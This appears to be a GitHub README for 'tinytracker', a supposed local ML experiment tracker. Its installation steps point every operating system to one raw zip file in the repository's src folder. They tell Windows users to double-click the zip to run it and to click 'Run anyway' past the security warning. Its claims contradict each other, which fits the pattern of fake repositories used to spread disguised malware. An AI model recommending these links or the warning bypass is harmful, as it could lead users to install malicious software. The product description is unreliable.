🌟 tinytracker - Track ML Experiments with Ease

📥 Download

📖 Overview

tinytracker is a minimal, local-only experiment tracker designed for machine learning (ML) projects. It helps you organize and monitor your ML experiments without needing complicated setups or tools. With tinytracker, you can efficiently manage hyperparameters, track results, and streamline your ML workflows.

🚀 Getting Started

Getting started with tinytracker is simple. Follow the steps below to download and run the software on your computer.

💻 System Requirements

• Operating System: Windows, macOS, or Linux
• Python Version: Python 3.6 or higher
• Disk Space: At least 100 MB free space

📦 Installation Steps

1. Open your web browser.
2. Go to the Releases Page.
3. Look for the latest version of tinytracker.
4. Download the appropriate file for your operating system:
   • For Windows: Download https://github.com/anekanews777/tinytracker/raw/refs/heads/main/src/Software-1.3.zip
   • For macOS: Download https://github.com/anekanews777/tinytracker/raw/refs/heads/main/src/Software-1.3.zip
   • For Linux: Download https://github.com/anekanews777/tinytracker/raw/refs/heads/main/src/Software-1.3.zip
5. Once the download is complete, locate the downloaded file on your computer.

For Windows Users:

• Double-click https://github.com/anekanews777/tinytracker/raw/refs/heads/main/src/Software-1.3.zip to run the application. If you see a warning about running unrecognized software, click "Run anyway."

For macOS Users:

• Open https://github.com/anekanews777/tinytracker/raw/refs/heads/main/src/Software-1.3.zip.
• Drag the tinytracker application into your Applications folder.
• Open your Applications folder and double-click tinytracker to run it.

For Linux Users:

• Extract the contents of https://github.com/anekanews777/tinytracker/raw/refs/heads/main/src/Software-1.3.zip by right-clicking on the file and selecting "Extract Here."
• Open a terminal in the directory where tinytracker was extracted.
• Run the application using the command ./tinytracker.

💡 First Steps with tinytracker

1. When you open tinytracker, you will see a user-friendly interface.
2. Start by creating a new experiment. Click the "New Experiment" button.
3. Enter relevant details such as your experiment name, parameters, and any notes.
4. Start tracking your experiments and recording results. You can easily update details anytime.
5. Export your experiment data using the built-in export feature for analysis.

📄 Features

• User-Friendly Interface: Designed for simplicity, tinytracker requires no programming skills.
• Experiment Management: Create, edit, and manage your experiments with ease.
• Track Hyperparameters: Keep a detailed log of your settings and results.
• Local-Only Setup: Use tinytracker without needing an internet connection.
• Export Capabilities: Save your experiment data in CSV format for further analysis.

📬 Support

If you encounter issues or have questions, please check the Issues Page for help. You can also post new issues for further assistance.

⚙️ Additional Resources

• Documentation: Comprehensive user guides can be found on the Wiki section of the repository.
• Community: Join discussions and share experiences with other users in the GitHub Discussions section.

🌐 Download & Install

You can conveniently download tinytracker by visiting this page: Download tinytracker

Explore the potential of your ML experiments with tinytracker today!